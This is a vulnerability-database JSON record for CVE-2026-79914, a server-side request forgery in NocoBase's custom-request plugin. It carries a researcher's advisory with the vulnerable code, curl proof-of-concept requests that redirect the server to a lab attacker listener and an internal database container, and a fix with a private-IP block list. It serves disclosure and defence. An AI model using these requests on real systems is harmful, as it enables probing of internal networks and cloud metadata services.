{"id":"GHSA-wrr5-j383-f7h2","revision":null,"records":[{"revision":"ee8cc1c082a145c4962792515bd96da0","observedAt":"2026-11-14T04:56:54.369+00:00","statement":{"source":"cve-program","id":"CVE-2026-79914","aliases":[],"title":"NocoBase: SSRF in customRequests:send via runtime options.url override","description":"NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Versions 2.1.0 through 2.1.14 contain a server-side request forgery vulnerability in the customRequests:send\u00A0endpoint. A low-privileged authenticated user can override the stored request URL at runtime using options.url, causing the NocoBase server to send requests to attacker-controlled or internal destinations. Exploitation could expose internal services, Docker host gateways, or cloud metadata endpoints and allow the server to be used as a trusted network proxy. This issue has been fixed in version 2.1.15.","state":0,"publishedAt":"2026-11-10T17:56:36.594+00:00","modifiedAt":"2026-11-14T02:59:18.315+00:00","affected":[{"ecosystem":"Vendor product","name":"nocobase","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"nocobase\",\n                    \"product\": \"nocobase\",\n                    \"versions\": [\n                        {\n                            \"version\": \">= 2.1.0, < 2.1.15\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"severity":"MEDIUM"}],"references":["https://github.com/nocobase/nocobase/security/advisories/GHSA-wrr5-j383-f7h2","https://github.com/nocobase/nocobase/commit/037dade8592fbab4324107285463f92b45aaa2ff"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-79914","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-79914","identifiers":["CVE-2026-79914"]},"retained":false,"historicalAffected":[]},{"revision":"605c607b92724d6aaec89232bb0ba84b","observedAt":"2026-11-14T21:28:08.401+00:00","statement":{"source":"euvd","id":"EUVD-2026-121706","aliases":["CVE-2026-79914","GHSA-wrr5-j383-f7h2"],"title":"NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Versions 2.1.0 through 2.1.14 contain a server-side request forgery vulnerability in the customRequests:send\u00A0endpoint. A low-pr…","description":"NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Versions 2.1.0 through 2.1.14 contain a server-side request forgery vulnerability in the customRequests:send\u00A0endpoint. A low-privileged authenticated user can override the stored request URL at runtime using options.url, causing the NocoBase server to send requests to attacker-controlled or internal destinations. Exploitation could expose internal services, Docker host gateways, or cloud metadata endpoints and allow the server to be used as a trusted network proxy. This issue has been fixed in version 2.1.15.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"severity":null}],"references":["https://github.com/nocobase/nocobase/security/advisories/GHSA-wrr5-j383-f7h2","https://github.com/nocobase/nocobase/commit/037dade8592fbab4324107285463f92b45aaa2ff"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-121706","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Nov 10, 2026, 5:56:36 PM","dateUpdated":"Nov 14, 2026, 2:59:18 AM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-121706","identifiers":["EUVD-2026-121706","CVE-2026-79914","GHSA-wrr5-j383-f7h2"]},"retained":false,"historicalAffected":[]},{"revision":"77a069669dcd41c8bddd21a6daba7e06","observedAt":"2026-11-14T21:27:30.35+00:00","statement":{"source":"nvd","id":"CVE-2026-79914","aliases":[],"title":"NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Versions 2.1.0 through 2.1.14 contain a server-side request forgery vulnerability in the customRequests:send\u00A0endpoint. A low-pr…","description":"NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Versions 2.1.0 through 2.1.14 contain a server-side request forgery vulnerability in the customRequests:send\u00A0endpoint. A low-privileged authenticated user can override the stored request URL at runtime using options.url, causing the NocoBase server to send requests to attacker-controlled or internal destinations. Exploitation could expose internal services, Docker host gateways, or cloud metadata endpoints and allow the server to be used as a trusted network proxy. This issue has been fixed in version 2.1.15.","state":0,"publishedAt":"2026-11-10T18:17:48.183+00:00","modifiedAt":"2026-11-14T03:17:30.46+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":4.3,"severity":"MEDIUM"}],"references":["https://github.com/nocobase/nocobase/commit/037dade8592fbab4324107285463f92b45aaa2ff","https://github.com/nocobase/nocobase/security/advisories/GHSA-wrr5-j383-f7h2"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79914","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-918"],"productCriteria":[],"sourceDates":{"published":"2026-11-10T18:17:48.183","lastModified":"2026-11-14T03:17:30.460"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-79914","identifiers":["CVE-2026-79914"]},"retained":false,"historicalAffected":[]},{"revision":"d190bb5d09d045f7a3c9f5b5ccf5d86b","observedAt":"2026-11-10T20:21:38.779+00:00","statement":{"source":"osv","id":"GHSA-wrr5-j383-f7h2","aliases":["CVE-2026-79914"],"title":"NocoBase: @nocobase/plugin-action-custom-request allows server-side request forgery through runtime URL overrides","description":"### Summary\n\nA Server-Side Request Forgery vulnerability exists in NocoBase v2.1.10 in the `@nocobase/plugin-action-custom-request` plugin.\n\nA low-privileged authenticated user can call the `customRequests:send` endpoint and override the stored request URL at runtime using `options.url`. This causes the NocoBase server to perform outbound HTTP requests to attacker-controlled or internal URLs.\n\n* Product: NocoBase\n* Version: v2.1.10\n* Component: `@nocobase/plugin-action-custom-request`\n* Severity: Moderate\n* Required privilege: authenticated low-privileged user / member\n\nTesting was performed only in a local Docker lab environment at `http://127.0.0.1:13000`. No public NocoBase instance was tested.\n\nLab environment:\n\n* Docker image: `nocobase/nocobase:latest-full`\n* Commit: `23e2bd35625439594e4757bac31d57c9e8e695b9`\n* Database: PostgreSQL 16\n* Containers: `nocobase-lab`, `nocobase-postgres`\n* Docker network: `172.19.0.0/16`\n* Important environment variable: `SERVER_REQUEST_WHITELIST` was not set\n\n---\n\n### Details\n\nThe vulnerable endpoint is:\n\n```http\nPOST /api/customRequests:send?filterByTk=<key>\n```\n\nThe `customRequests:send` action is allowed for any logged-in user:\n\n```ts\n// plugin-action-custom-request/src/server/plugin.ts\nthis.app.acl.allow('customRequests', ['send', 'listByCurrentRole'], 'loggedIn');\n```\n\nThe request options supplied at runtime are merged into the stored request configuration. This allows a low-privileged user to override the stored URL:\n\n```ts\n// plugin-action-custom-request/src/server/actions/send.ts\nconst mergedOptions = {\n  ...(requestConfig.options || {}),\n  ...omitNullAndUndefined(runtimeOptions || {}),\n};\n\nconst { url, ...options } = mergedOptions;\n```\n\nThe URL is therefore attacker-controlled when the low-privileged user sends a request body such as:\n\n```json\n{\n  \"options\": {\n    \"url\": \"http://attacker-controlled-host:18080/ssrf-proof\",\n    \"method\": \"GET\"\n  }\n}\n```\n\nIf `SERVER_REQUEST_WHITELIST` is not configured, the server-side request whitelist check is bypassed:\n\n```ts\n// packages/core/utils/src/server-request.ts\nconst whitelist = process.env.SERVER_REQUEST_WHITELIST;\n\nif (!whitelist || !whitelist.trim()) return;\n```\n\nAs a result, a low-privileged authenticated user can force the NocoBase server to make arbitrary outbound HTTP requests.\n\n---\n\n### PoC\n\n#### Step 1: Admin creates a valid Custom Request config\n\nFirst, an administrator creates a valid Custom Request config. This is a setup step only.\n\n```bash\nBASE=\"http://127.0.0.1:13000\"\n\ncurl -i -s -X POST \"$BASE/api/customRequests:create\" \\\n  -H \"Authorization: Bearer <ADMIN_TOKEN>\" \\\n  -H \"Content-Type: application/json\" \\\n  --data '{\n    \"key\": \"report-ssrf-demo\",\n    \"options\": {\n      \"url\": \"https://www.example.com/\",\n      \"method\": \"GET\"\n    }\n  }'\n```\n\nExpected result:\n\n```http\nHTTP/1.1 200 OK\n```\n\nIf the key already exists, this setup step can be skipped.\n\nEvidence:\n\n<img width=\"1467\" height=\"619\" alt=\"Admin creates Custom Request config\" src=\"https://github.com/user-attachments/assets/77804709-ac83-479b-a99a-e1da531bb6d6\" />\n\n---\n\n#### Step 2: Start an attacker-controlled HTTP listener\n\nOn the attacker-controlled host in the local lab:\n\n```bash\nmkdir -p /tmp/ssrf-poc\ncd /tmp/ssrf-poc\necho \"SSRF OK - request came from NocoBase server\" > ssrf-proof\npython3 -m http.server 18080 --bind 0.0.0.0\n```\n\nExample attacker host IP in the local lab:\n\n```text\n192.168.1.139\n```\n\nEvidence:\n\n<img width=\"888\" height=\"195\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8360b4cc-c00d-42ae-a9e8-09125b126e89\" />\n\n---\n\n#### Step 3: Low-privileged user triggers SSRF by overriding options.url\n\nThe low-privileged user calls `customRequests:send` and overrides `options.url` at runtime:\n\n```bash\nBASE=\"http://127.0.0.1:13000\"\nKALI_IP=\"192.168.1.139\"\n\ncurl -i -s -X POST \"$BASE/api/customRequests:send?filterByTk=report-ssrf-demo\" \\\n  -H \"Authorization: Bearer <LOWPRIV_TOKEN>\" \\\n  -H \"Content-Type: application/json\" \\\n  --data \"{\n    \\\"options\\\": {\n      \\\"url\\\": \\\"http://$KALI_IP:18080/ssrf-proof\\\",\n      \\\"method\\\": \\\"GET\\\"\n    }\n  }\"\n```\n\nExpected response:\n\n```http\nHTTP/1.1 200 OK\n\nSSRF OK - request came from NocoBase server\n```\n\nEvidence:\n\n<img width=\"959\" height=\"570\" alt=\"Low-privileged user triggers SSRF\" src=\"https://github.com/user-attachments/assets/100ec9b5-005b-4322-90a7-f5018bf2ab77\" />\n\n---\n\n#### Step 4: Attacker-controlled listener receives the server-side request\n\nThe attacker-controlled HTTP listener receives:\n\n```text\nGET /ssrf-proof HTTP/1.1\n```\n\nThis proves that the HTTP request was made by the NocoBase server as a result of the low-privileged user's API request.\n\nEvidence:\n\n<img width=\"744\" height=\"206\" alt=\"Listener receives GET /ssrf-proof\" src=\"https://github.com/user-attachments/assets/c26f89d4-88b4-46c2-a2fa-722e64899051\" />\n\n---\n\n#### Step 5: Internal service reachability test\n\nThe same low-privileged user can target an internal Docker service:\n\n```bash\ncurl -i -s -X POST \"$BASE/api/customRequests:send?filterByTk=report-ssrf-demo\" \\\n  -H \"Authorization: Bearer <LOWPRIV_TOKEN>\" \\\n  -H \"Content-Type: application/json\" \\\n  --data '{\n    \"options\": {\n      \"url\": \"http://nocobase-postgres:5432/\",\n      \"method\": \"GET\"\n    }\n  }'\n```\n\nObserved response:\n\n```json\n{\"message\":\"socket hang up\"}\n```\n\nThis indicates that the NocoBase server attempted to connect to the internal PostgreSQL container. PostgreSQL does not speak HTTP, so the connection is closed, but the internal reachability is confirmed.\n\n---\n\n### Impact\n\nA low-privileged authenticated user can force the NocoBase server to perform arbitrary outbound HTTP requests.\n\nPotential impact includes:\n\n* internal service enumeration\n* access to services only reachable from the server-side network\n* Docker host gateway reachability testing\n* reading responses from internal HTTP services when response bodies are returned\n* potential access to cloud metadata endpoints in cloud deployments if not otherwise blocked\n* use of the NocoBase server as a trusted network proxy\n\nConfirmed in the local lab:\n\n* attacker-controlled HTTP listener received a request from the NocoBase server\n* internal PostgreSQL container `nocobase-postgres:5432` was reachable\n* Docker host gateway reachability was confirmed\n\nThis can expose internal-only services to low-privileged users and can become more severe in cloud or production deployments where internal APIs, metadata services, or trusted network services are reachable from the NocoBase server.\n\n---\n\n### Recommended Fix\n\n1. Restrict `customRequests:send` to administrators or specifically authorized roles.\n\n```diff\n- this.app.acl.allow('customRequests', ['send'], 'loggedIn');\n+ this.app.acl.allow('customRequests', ['send'], 'admin');\n```\n\n2. Do not allow low-privileged users to override stored request URLs at runtime.\n\n3. Require `SERVER_REQUEST_WHITELIST` by default in production Docker images.\n\n4. Block private/internal IP ranges by default, including:\n\n```text\n127.0.0.0/8\n10.0.0.0/8\n172.16.0.0/12\n192.168.0.0/16\n169.254.0.0/16\n::1/128\nfc00::/7\n```\n\n5. Resolve DNS and validate the final resolved IP address before making the outbound request.\n\n6. Revalidate the target after redirects.\n\n7. Add SSRF regression tests for:\n\n```text\nlocalhost\n127.0.0.1\nDocker service names\nprivate IP ranges\nDocker gateway IP\n169.254.169.254\nredirects to private IP ranges\n```","state":0,"publishedAt":"2026-11-10T19:20:14+00:00","modifiedAt":"2026-11-10T19:30:04.5606783+00:00","affected":[{"ecosystem":"npm","name":"@nocobase/plugin-action-custom-request","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.1.0-alpha.8"},{"kind":"fixed","version":"2.1.15"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"@nocobase/plugin-action-custom-request","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.2.0-alpha.1"},{"kind":"fixed","version":"2.2.0-alpha.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/nocobase/nocobase/security/advisories/GHSA-wrr5-j383-f7h2","https://github.com/nocobase/nocobase/pull/8749","https://github.com/nocobase/nocobase/pull/9904","https://github.com/nocobase/nocobase/commit/037dade8592fbab4324107285463f92b45aaa2ff","https://github.com/nocobase/nocobase/commit/1fc226a22d2ec1de1adf1230367c858b4363ec3b","https://github.com/nocobase/nocobase","https://github.com/nocobase/nocobase/releases/tag/v2.1.15","https://github.com/nocobase/nocobase/releases/tag/v2.2.0-alpha.4","https://nvd.nist.gov/vuln/detail/cve-2026-79914"],"sourceUrl":"https://github.com/advisories/GHSA-wrr5-j383-f7h2","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-wrr5-j383-f7h2","identifiers":["GHSA-wrr5-j383-f7h2","CVE-2026-79914"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T19:44:19.9938399+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T19:44:19.9938399+00:00","lastSuccessAt":"2026-11-15T19:44:20.2016227+00:00","error":null,"lastVerifiedAt":"2026-11-15T19:44:20.2016237+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-6fc3c2ba902d8763be7b1141e9be97dc9202b7023001a80bc4ce5ca58164e97c","complete":true,"records":425849,"lastAttemptAt":"2026-11-15T19:44:16.7564889+00:00","lastSuccessAt":"2026-11-15T19:44:16.7314012+00:00","error":null,"lastVerifiedAt":"2026-11-15T19:44:16.7564889+00:00","snapshotPublishedAt":"2026-11-15T19:27:02+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-e20648f5e49d4ef2b794bd9578c389bd","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T19:55:07.4704496+00:00","lastSuccessAt":"2026-11-15T19:55:06.45+00:00","error":"52 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T19:55:06.45+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13822,"expectedIdentifiers":13874,"failedIdentifiers":52},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T19:44:19.9938399+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T19:44:19.9938399+00:00","lastSuccessAt":"2026-11-15T19:44:20.2027927+00:00","error":null,"lastVerifiedAt":"2026-11-15T19:44:20.2027932+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-9caea03f945849429dd63b61fcc163ed","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T19:46:14.9136905+00:00","lastSuccessAt":"2026-11-15T19:46:14.909+00:00","error":null,"lastVerifiedAt":"2026-11-15T19:46:14.909+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T19:44:19.5897026+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T19:44:19.5897026+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T19:44:18.729666+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T19:44:18.729666+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T19:44:19.9211863+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-15T19:44:19.9211863+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ff18f36f13fcca3a20a3fb9274b59b8872d18869a99071730e1e79b625c8f612","complete":true,"records":232475,"lastAttemptAt":"2026-11-15T19:44:18.8782423+00:00","lastSuccessAt":"2026-11-15T11:05:10.4195883+00:00","error":null,"lastVerifiedAt":"2026-11-15T19:44:18.8782423+00:00","snapshotPublishedAt":"2026-11-15T10:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}